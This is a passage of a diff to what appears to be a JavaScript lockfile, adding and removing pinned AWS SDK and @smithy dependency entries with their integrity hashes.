"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.948.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-iWjchXy8bIAVBUsKnbfKYXRwhLgRg3EqCQ5FTr3JbR+QR75rZm4ZOYXlvHGztVTmtAZ+PQVA1Y4zO7v7N87C0A=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
"@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
"@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-eFndh1WEK5YMUYvy3lPlVmYY/fZcQE1D8oSf41Id2vCeIkKJXPcYDCZD+4+xViI6b1XSd7tE+s5AmXzz5ilabQ=="],
@@ -7791,7 +7603,11 @@
"@aws-sdk/client-cognito-identity/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
- "@aws-sdk/client-kendra/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
@@ -7805,10 +7621,18 @@
"@aws-sdk/client-kendra/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-kendra/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@aws-sdk/client-kendra/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@aws-sdk/client-kendra/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/client-kendra/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@aws-sdk/client-kendra/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-kendra/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@aws-sdk/client-kendra/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@aws-sdk/client-kendra/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -7873,92 +7697,126 @@
"@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/core": ["@aws-sdk/core@3.758.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-0RswbdR9jt/XKemaLNuxi2gGr4xGlHyGxkTdhSQzCyUe9A9OPCoLl3rIESRguQEech+oJnbHk/wuiwHqTuP9sg=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.723.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZhEfvUwNliOQROcAk34WJWVYTlTa4694kSVhDSjW6lE1bMataPnIN8A0ycukEzBXmd8ZSoBcQLn6lKGl7XIJ5w=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-config-provider": ["@smithy/util-config-provider@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-L1RBVzLyfE8OXH+1hsJ8p+acNUSirQnWQ6/EgpchV88G6zGBTDPdXiiExei6Z1wR2RxYvxY/XLw6AMNCCt8H3w=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
